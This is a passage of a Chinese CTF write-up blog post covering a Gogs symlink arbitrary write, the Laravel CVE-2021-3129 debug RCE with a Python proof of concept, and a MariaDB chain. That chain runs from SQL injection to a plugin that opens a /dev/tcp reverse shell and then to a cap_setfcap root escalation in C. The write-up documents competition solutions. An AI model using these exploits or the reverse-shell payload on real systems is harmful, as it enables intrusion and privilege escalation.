sizes=\"auto, (max-width: 1175px) 100vw, 1175px\" \/><\/p>\n<p>\u7136\u540e\u5c31\u627e\u5230\u4e86\u89e6\u53d1\u70b91\uff1a\/_preview\/* \uff0c\u5176 preview \u7684\u903b\u8f91\u4e3a\uff0c\u5148\u628a\u66f4\u65b0\u540e\u7684\u6587\u4ef6\u5185\u5bb9\u5199\u5165 repo \u5185\u539f\u6587\u4ef6\uff0c\u7136\u540e\u8c03\u7528 git diff \u83b7\u53d6\u8f93\u51fa\u7ed3\u679c\u3002\u8fd9\u4e0bBBQ\u4e86\uff0c\u76f4\u63a5\u8c03\u7528 os.WriteFile \u8986\u5199 symlink \u6587\u4ef6\uff0c\u4e5f\u5c31\u662f\u8bf4\u8986\u76d6\u7684\u5176\u5b9e\u662f\u6240\u94fe\u63a5\u81f3\u7684\u6587\u4ef6\u5185\u5bb9\uff0c\u5b58\u5728\u4efb\u610f\u5199\u3002\u4ece\u800c\u53ef\u8986\u76d6 .git\/config \u6765 getshell\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1898\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-diffrepo.png\" alt=\"\" width=\"873\" height=\"682\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-diffrepo.png 873w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-diffrepo-300x234.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-diffrepo-150x117.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-diffrepo-768x600.png 768w\" sizes=\"auto, (max-width: 873px) 100vw, 873px\" \/><\/p>\n<p>\u6700\u540e\u53d1\u73b0\u4e86\u89e6\u53d1\u70b92\uff1a\/_upload\/*\uff0c\u8be5\u7cfb\u7edf\u4e0a\u4f20\u5355\u6587\u4ef6\u7684\u903b\u8f91\u4e3a\uff0c\u9996\u5148 \/upload-file \u4e0a\u4f20\u81f3\u4e34\u65f6\u4f4d\u7f6e\uff08\u8def\u5f84\u5168\u4e0d\u53ef\u63a7\uff09\uff0c\u7136\u540e\u8f6c\u81f3\u8be5\u8def\u7531\u5c06\u6587\u4ef6\u8986\u76d6\u8fc7\u6765\u3002\u8ddf\u968f\u5176\u8c03\u7528\u94fe\uff1a<\/p>\n<p><code>internal\/route\/repo\/editor.go: UploadFilePost(c *context.Context, f form.UploadRepoFile)<br \/>\ninternal\/db\/repo_editor.go: UploadRepoFiles(doer *User, opts UploadRepoFileOptions) <br \/>\ngithub \/unknwon\/com\/file.go: Copy(src, dest string)<\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1899\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-file.png\" alt=\"\" width=\"734\" height=\"859\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-file.png 734w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-file-256x300.png 256w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-file-128x150.png 128w\" sizes=\"auto, (max-width: 734px) 100vw, 734px\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\uff0c\u8be5\u5904\u76f4\u63a5\u8c03\u7528 io.Copy \u8986\u5199 symlink \u6587\u4ef6\uff0c\u4e5f\u5b58\u5728\u4efb\u610f\u5199\u3002\u800c\u4e4b\u524d\u7684\u5404\u79cd\u9a8c\u8bc1\u4e5f\u662f\u4e00\u8def green\u3002<\/p>\n<p>\u8fd9\u91cc\u4f7f\u7528\u89e6\u53d1\u70b91\u8fdb\u884c\u590d\u73b0\uff1a<\/p>\n<p>1. \u521b\u5efa\u65b0 repo\uff0c\u5728\u672c\u5730\u914d\u7f6e\u597d git\u3002<\/p>\n<p>2. \u521b\u5efa\u81f3 .git\/config \u7684\u8f6f\u94fe\u63a5\u6587\u4ef6 config\uff0c\u5e76 push \u81f3\u76ee\u6807\u670d\u52a1\u5668\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1900\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step2.png\" alt=\"\" width=\"746\" height=\"389\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step2.png 746w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step2-300x156.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step2-150x78.png 150w\" sizes=\"auto, (max-width: 746px) 100vw, 746px\" \/><\/p>\n<p>3. \u53ef\u4ee5\u53d1\u73b0\u4e0d\u5b58\u5728\u4efb\u610f\u8bfb\uff0c\u8f6c\u5411\u53f3\u4fa7\u7684\u201c\u7f16\u8f91\u6b64\u6587\u4ef6\u201d\u6309\u94ae\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1901\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step3.png\" alt=\"\" width=\"850\" height=\"232\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step3.png 850w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step3-300x82.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step3-150x41.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step3-768x210.png 768w\" sizes=\"auto, (max-width: 850px) 100vw, 850px\" \/><\/p>\n<p>4. \u5728\u6846\u5185\u586b\u5165\u6076\u610f payload\uff0c\u7136\u540e\u70b9\u51fb\u201c\u9884\u89c8\u53d8\u66f4\u201d\uff0c\u5373\u53ef\u8986\u76d6 .git\/config \u3002\u9700\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff0c\u5982\u679c\u5728\u6b64\u5904\u8986\u76d6\u4e86\u65e0\u6548\u7684 config \u6587\u4ef6\uff0c\u5219\u4e4b\u540e\u6240\u6709\u5bf9 repo \u7684\u66f4\u65b0\u64cd\u4f5c\u90fd\u4f1a\u5931\u8d25\uff0c\u53ea\u80fd\u5220\u5e93\u91cd\u6765\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1902\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step4.png\" alt=\"\" width=\"654\" height=\"694\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step4.png 654w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step4-283x300.png 283w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step4-141x150.png 141w\" sizes=\"auto, (max-width: 654px) 100vw, 654px\" \/><\/p>\n<p>5. \u770b\u5230\u201c\u6ca1\u6709\u53ef\u4ee5\u663e\u793a\u7684\u53d8\u66f4\u201d\u5373\u4e3a\u8986\u76d6\u6210\u529f\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1903\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step5.png\" alt=\"\" width=\"455\" height=\"200\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step5.png 455w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step5-300x132.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step5-150x66.png 150w\" sizes=\"auto, (max-width: 455px) 100vw, 455px\" \/><\/p>\n<p>6. \u968f\u4fbf\u4f20\u4e2a\u6587\u4ef6 commit \u89e6\u53d1 git \u547d\u4ee4\uff0c\u9759\u5019\u4f73\u97f3\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1904\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step6.png\" alt=\"\" width=\"578\" height=\"169\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step6.png 578w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step6-300x88.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-step6-150x44.png 150w\" sizes=\"auto, (max-width: 578px) 100vw, 578px\" \/><\/p>\n<p>\u89e6\u53d1\u70b92\u57fa\u672c\u540c\u4e0a\u3002<\/p>\n<p><a id=\"laravel\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; laravel<\/strong><\/span><\/li>\n<\/ul>\n<p>CVE-2021-3129\uff0c\u5230\u5904\u90fd\u662f\u73b0\u6210\u7684 PoC\u3002<\/p>\n<p><a href=\"https:\/\/www.ambionics.io\/blog\/laravel-debug-rce\">https:\/\/www.ambionics.io\/blog\/laravel-debug-rce<\/a><\/p>\n<p>\u7136\u540e\u9898\u76ee\u73af\u5883\u7981\u7528 phar\uff0c\u4f46\u6ce8\u610f\u5230\u8fd9\u4e2a\u6d1e\u7684\u672c\u8d28\u662f\uff1a<\/p>\n<pre class=\"lang:php decode:true \" title=\"Essence of this vulnerability\">$contents = file_get_contents($parameters['viewFile']);\r\nfile_put_contents($parameters['viewFile'], $modified_contents);<\/pre>\n<p>\u5bf9\u4e8e $contents \u867d\u7136\u5176\u5185\u5bb9\u4e0d\u53ef\u63a7\uff0c\u4f46\u6587\u4ef6\u8def\u5f84\u53ef\u63a7\u3002\u539f PoC \u5229\u7528\u5199 log \u7136\u540e filter \u4e8c\u6b21\u8f6c\u5316\u6210 phar \u53cd\u5e8f\u5217\u5316\uff0c\u5176\u5b9e\u53ef\u4ee5\u6ce8\u610f\u5230\u6709\u4e00\u79cd\u66f4\u7b80\u5355\u7684\u5199\u6cd5\uff1a\u76f4\u63a5\u5229\u7528\u4e07\u80fd convert.iconv.UTF8.CSISO2022KR \u5199\u6587\u4ef6\uff0c\u4e0e LFI2RCE \u7684\u539f\u7406\u662f\u76f8\u540c\u7684\u3002\u800c\u5bf9\u4e8e $contents\uff0c\u867d\u7136\u5176\u539f\u5185\u5bb9\u8fd9\u6837\u8bfb\u8fdb\u6765\u4f1a\u662f\u4e00\u5806\u4e71\u7801\uff0c\u53ea\u8981\u5148 base64 \u4e00\u6b21\u8f6c\u6362\u4e3a\u82f1\u6587\u5b57\u7b26\u540e\u5373\u53ef\u4f7f\u7528\u539f filter \u94fe\u6784\u9020\u51fa PHP payload\u3002\u53e6\u4e00\u79cd ftp \u7684\u505a\u6cd5\u5728\u8fd9\u91cc\u4e5f\u662f\u9ebb\u70e6\u4e86\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import requests\r\n\r\npayload = 'php:\/\/filter\/convert.base64-encode|&lt;...omit...&gt;\/resource=\/var\/www\/html\/public\/index.php'\r\n\r\ndata = {\r\n    \"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\r\n    \"parameters\": {\r\n        \"variableName\": \"request\",\r\n        \"viewFile\": payload\r\n    }\r\n}\r\n\r\nres = requests.post('http:\/\/URL:PORT\/_ignition\/execute-solution', json=data)\r\nprint(res.text)<\/pre>\n<p>\u7136\u540e\u5728 \/flag \u5904\u8bfb\u5230 flag\u3002<br \/>\n\u6709\u4e00\u4e2a\u5751\u70b9\u5c31\u662f\uff0c\u516c\u544a\u540e\u6765\u624d\u8865\u5145\uff0c\u73af\u5883\u4e2d\u53ea\u6709 public\/index.php \u53ef\u5199\u3002\u3002\u3002<\/p>\n<p><a id=\"ezmaria\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; ezmaria<\/strong><\/span><\/li>\n<\/ul>\n<p>\u70b9\u5f00\u5c31\u662f\u4e00\u4e2a SQL \u6ce8\u5165\uff0csqlmap \u80fd\u626b\u51fa\u4e94\u79cd\u65b9\u6cd5\u7684\u90a3\u79cd\uff0csecure_file_priv \u4e3a\u7a7a\uff0c\u5f88\u663e\u7136 \/var\/www\/html \u4e0d\u53ef\u5199\u3002\u7136\u540e\u53d1\u73b0\u5b58\u5728\u5173\u952e\u8bcd\u8fc7\u6ee4\uff0cload_file() \u8bfb\u4e00\u4e2a index.php \uff1a<\/p>\n<pre class=\"lang:php decode:true \" title=\"Keyword filters\">if (preg_match(\"\/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)\/is\",\r\n    $_REQUEST[\"id\"])) die;<\/pre>\n<p>\u867d\u7136\u4f7f\u7528 PDO \u652f\u6301\u5806\u53e0\u6ce8\u5165\uff0c\u4f46\u80fd\u505a\u5230\u7684\u8fd8\u662f\u6bd4\u8f83\u6709\u9650\u3002\/etc\/shadow \u8bfb\u4e0d\u4e86\uff0c\u76ee\u6d4b\u4e5f\u4e0d\u662f root \u6743\u9650\u3002\u6700\u4e3b\u8981\u7684\u662f FUNCTION \u88ab\u8fc7\u6ee4\u4e86\uff0c\u5728 udf \u6ce8\u5165\u7684\u8fc7\u7a0b\u4e2d CREATE FUNCTION SONAME \u8fd9\u4e2a statement \u662f\u5fc5\u987b\u7684\u3002\u672c\u6765\u60f3\u7740\u901a\u8fc7 PROCEDURE \u641e\u70b9\u52a8\u4f5c\uff0c\u76f4\u63a5\u5199\u540c\u7248\u672c .frm .MAI .MAD \u6dfb\u52a0\u8868\u7ed3\u6784\u6570\u636e\uff0c\u5f04\u6765\u5f04\u53bb\u6700\u7ec8\u8fd8\u662f\u6ca1\u6709\u6210\u529f\u3002<\/p>\n<p>\u7136\u540e\u6ce8\u610f\u5230\u9664\u4e86 UDF\uff0c\u8fd8\u5b58\u5728\u4e00\u4e2a INSTALL PLUGIN \u7684\u529f\u80fd\uff0c\u540c\u6837\u4e5f\u662f\u52a0\u8f7d plugin_dir \u91cc\u8fb9\u7684 so \u6587\u4ef6\u3002\u914d\u5b83\u7684\u7f16\u8bd1\u73af\u5883\u53c8\u914d\u4e86\u597d\u4e00\u4f1a\uff0c\u6700\u540e\u624d\u53d1\u73b0\u65e0\u8bba\u5982\u4f55\uff0c\u5b83\u90fd\u662f\u5f97\u5148 dlopen() \u7684\uff0c\u4e8e\u662f\u63a5\u4e0b\u6765\u53ef\u4ee5\u4f7f\u7528\u8ddf LD_PRELOAD \u6ce8\u5165\u4e00\u6837\u7684\u6d41\u7a0b\uff1a<\/p>\n<pre class=\"lang:c decode:true \" title=\"LD_PRELOAD Library source code\">\/\/ gcc -fPIC -shared -o preload.so preload.c -nostartfiles -nolibc\r\n#include &lt;stdio.h&gt;\r\n#include &lt;sys\/types.h&gt;\r\n#include &lt;stdlib.h&gt;\r\nvoid _init()\r\n{\r\n    system(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/IP\/PORT 0&gt;&amp;1'\");\r\n}<\/pre>\n<p>\u5728\u76ee\u6807\u673a\u5668\u4e0a\u6267\u884c <code>INSTALL PLUGIN<\/code> \uff0c\u867d\u7136\u6709\u62a5\u9519\u63d0\u793a\uff0c\u4f46\u6b64\u65f6\u5df2\u7ecf\u6210\u529f\u53cd\u5f39 shell\u3002<\/p>\n<pre class=\"lang:default decode:true \">MariaDB [mysql]&gt; install plugin preload soname 'preload.so';\r\nERROR 1127 (HY000): Can't find symbol '_mysql_plugin_interface_version_' in library<\/pre>\n<p>\u4f46\u5728\u9898\u76ee\u73af\u5883\u4e2d\uff0c\u6570\u636e\u5e93\u6ca1\u6709\u521d\u59cb\u5316\uff0c\u5f97\u6062\u590d mysql.plugin \u8868\u540e\u624d\u53ef\u6b63\u5e38\u8f7d\u5165\u3002\u7531\u4e8e <code>CREATE TABLE<\/code> \u672a\u88ab\u8fc7\u6ee4\uff0c\u53ef\u76f4\u63a5 dump \u540e\u5bfc\u5165\u3002\u8fc7\u6ee4\u7684\u60c5\u51b5\u4e0b\uff0c\u4e5f\u53ef\u901a\u8fc7\u8986\u76d6\u8868\u6570\u636e\u6587\u4ef6\u6765\u6062\u590d\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"From MySql to RCE\">import requests\r\n\r\ndef load(file, path):\r\n    with open(file, 'rb') as f:\r\n        c = f.read()\r\n    return 'SELECT 0x' + c.hex() + \" INTO DUMPFILE '\" + path + \"'\"\r\n\r\ndef once(sql):\r\n    data = {'id': f'-1; {sql}; #'}\r\n    res = requests.post('http:\/\/IP:PORT\/', data=data)\r\n    print(res.status_code)\r\n\r\nonce('CREATE DATABASE mysql')\r\nonce(\"\"\"CREATE TABLE `mysql`.`plugin` (\r\n  `name` varchar(64) NOT NULL DEFAULT '',\r\n  `dl` varchar(128) NOT NULL DEFAULT '',\r\n  PRIMARY KEY (`name`)\r\n) ENGINE=Aria DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci PAGE_CHECKSUM=1 TRANSACTIONAL=1 COMMENT='MySQL plugins'\r\n\"\"\")\r\n\r\nonce(load('preload.so', '\/mysql\/plugin\/preload.so'))\r\nonce(load('preload_cap.so', '\/mysql\/plugin\/preload_cap.so'))\r\nonce('INSTALL PLUGIN preload SONAME \"preload.so\"')<\/pre>\n<p>\u62ff\u5230 shell \u540e\uff0c\u6839\u636e\u63d0\u793a\uff0c\u627e\u5230\u5e26\u6709 caps \u7684\u6587\u4ef6\u3002<\/p>\n<pre class=\"lang:default decode:true \">&lt;65889d6d-kc876:\/mysql\/data$ getcap -r \/ 2&gt;\/dev\/null\r\n\/usr\/bin\/mariadb cap_setfcap=ep<\/pre>\n<p>\u73b0\u5728\u5f97\u60f3\u529e\u6cd5\u6ce8\u5165 mariadb \u7684 client \uff0c\u5229\u7528\u5176 cap_setfcap \u8fdb\u884c\u63d0\u6743\u3002<br \/>\n\u5728\u5982\u4e0a\u7684 INSTALL PLUGIN \u4ee5\u540e\uff0c\u5f88\u5bb9\u6613\u60f3\u5230 client \u8fd9\u91cc\u4e5f\u53ef\u4ee5\u8fdb\u884c\u7c7b\u4f3c\u7684\u64cd\u4f5c\u3002<br \/>\n\u7279\u522b\u6ce8\u610f\u8fd9\u4e24\u4e2a\u53c2\u6570\uff1a<\/p>\n<pre class=\"lang:default decode:true \">d6d-kc876:\/mysql\/data$ mariadb --help\r\nmariadb  Ver 15.1 Distrib 10.5.19-MariaDB, for debian-linux-gnu (x86_64) using  EditLine wrapper\r\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\r\n\r\nUsage: mariadb [OPTIONS] [database]\r\n\r\n  --plugin-dir=name   Directory for client-side plugins.\r\n  --default-auth=name Default authentication client-side plugin to use.<\/pre>\n<p>\u6307\u5b9a plugin-dir \u4e0e default-auth \u540e\u53ef\u4ee5\u4f7f mariadb \u5728\u5bc6\u7801\u8ba4\u8bc1\u65f6 dlopen() \u81ea\u5b9a\u4e49\u7684 so \u6587\u4ef6\uff0c\u800c capabilities \u662f\u4f1a\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u4fdd\u7559\u7684\u3002\u7f16\u5199 preload_cap.c \u4ee5\u5229\u7528\u8fd9\u4e2a\u8fc7\u7a0b\uff1a<\/p>\n<pre class=\"lang:c decode:true \" title=\"Utilize setfcap\">\/\/ gcc -fPIC -shared -o preload_cap.so preload_cap.c -nostartfiles -nolibc -lcap\r\n#include &lt;stdio.h&gt;\r\n#include &lt;sys\/types.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;sys\/capability.h&gt;\r\nvoid _init()\r\n{\r\n    cap_t caps = cap_init();\r\n    if (caps == NULL) {\r\n        perror(\"cap_init\");\r\n        exit(EXIT_FAILURE);\r\n    }\r\n    \r\n    cap_value_t cap_list[4];\r\n    \/\/cap_list[0] = CAP_SYS_ADMIN;\r\n    cap_list[0] = CAP_SETFCAP;\r\n    cap_list[1] = CAP_CHOWN;\r\n    cap_list[2] = CAP_SETUID;\r\n    cap_list[3] = CAP_SETGID;\r\n    if (cap_set_flag(caps, CAP_EFFECTIVE, 4, cap_list, CAP_SET) == -1 ||\r\n        cap_set_flag(caps, CAP_INHERITABLE, 4, cap_list, CAP_SET) == -1 ||\r\n        cap_set_flag(caps, CAP_PERMITTED, 4, cap_list, CAP_SET) == -1) {\r\n        perror(\"cap_set_flag\");\r\n        cap_free(caps);\r\n        exit(EXIT_FAILURE);\r\n    }\r\n    \r\n    const char *filename = \"\/tmp\/perl\";\r\n    if (cap_set_file(filename, caps) == -1) {\r\n        perror(\"cap_set_file\");\r\n        cap_free(caps);\r\n        exit(EXIT_FAILURE);\r\n    }\r\n    \r\n    cap_free(caps);\r\n}<\/pre>\n<p>\u9700\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff0c\u8fd9\u91cc\u7684 setfcap \u662f\u4e0d\u4f1a\u5728 system() \uff08\u8be5\u73af\u5883\u4e2d\u7684 sh -&gt; bash\uff09\u4e2d\u4fdd\u7559\u7684\uff0c\u6240\u4ee5\u5fc5\u987b\u4f7f\u7528 libcap-dev \u5e93\u4e2d\u7684 API \u3002\u540c\u6837\uff0c\u8fd9\u91cc\u7684 bash \u6267\u884c\u65b0\u7a0b\u5e8f\u7684\u65f6\u5019 capabilities \u4e5f\u662f\u4e0d\u4f1a\u4fdd\u7559\u7684\uff0c\u6240\u4ee5\u8f6c\u800c\u4f7f\u7528\u7cfb\u7edf\u81ea\u5e26\u7684 perl \u3002<\/p>\n<p>\u5199\u5b8c\u540e\u8c03\u7528 perl \u8bed\u6cd5\u7684 setuid(0) setgid(0) \u5373\u53ef\u63d0\u6743\u81f3 root\uff0c\u5f97\u5230 flag\u3002<\/p>\n<pre class=\"lang:default decode:true \">$ cp \/usr\/bin\/perl \/tmp\/perl\r\n$ chmod +x \/tmp\/perl\r\n\r\n$ mariadb -hIP -P3306 --plugin-dir=\/mysql\/plugin\/ --default-auth=preload_cap &amp;\r\n\r\n$ \/tmp\/perl -e '$&gt; = 0; $) = 0; exec \"id\";'\r\nuid=101(mysql) gid=101(mysql) euid=0(root) egid=0(root) groups=0(root),101(mysql)<\/pre>\n<p>\u6709\u4e00\u4e2a\u5751\u70b9\u5c31\u662f\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565 127.0.0.1:3306 \u8fde\u4e0d\u4e0a\uff0c\u5bfc\u81f4 mariadb \u65e0\u6cd5\u89e6\u53d1\u5bc6\u7801\u9a8c\u8bc1\u7684\u6d41\u7a0b\u3002\u81ea\u5df1\u5728\u5916\u8fb9\u5f00\u4e00\u4e2a 3306 \u540e\u8fde\u4e0a\u53bb\u89e3\u51b3\u3002<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1 &hellip; <a href=\"https:\/\/cf.mnihyc.com\/blog\/archives\/1814\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[111,112],"tags":[],"class_list":["post-1814","post","type-post","status-publish","format-standard","hentry","category-web","category-writeup"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - mnihyc&#039;s Blog<\/title>\n<meta name=\"description\" content=\"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mnihyc.com\/blog\/archives\/1814\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - mnihyc&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002 \u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 R3CTF\uff0c2024 \u4eac\u9e92CTF\uff0c2024 D^3CTF\uff0c2023 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a\uff0c2023 HITCTF\uff0c2023\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mnihyc.com\/blog\/archives\/1814\" \/>\n<meta property=\"og:site_name\" content=\"mnihyc&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-14T07:52:29+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-10-20T14:25:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\" \/>\n<meta name=\"author\" content=\"mnihyc\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mnihyc\" \/>\n<meta name=\"twitter:site\" content=\"@mnihyc\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"mnihyc\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#article\",\"isPartOf\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814\"},\"author\":{\"name\":\"mnihyc\",\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"headline\":\"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)\",\"datePublished\":\"2024-06-14T07:52:29+00:00\",\"dateModified\":\"2024-10-20T14:25:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814\"},\"wordCount\":957,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/0self.mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"image\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814#primaryimage\"},\"thumbnailUrl\":\"https:\/\/mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\",\"articleSection\":[\"Web\",\"Writeup\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mnihyc.com\/blog\/archives\/1814#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1814\",\"url\":\"https:\/\/mnihyc.com\/blog\/archives\/1814\",\"name\":\"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, ...) - 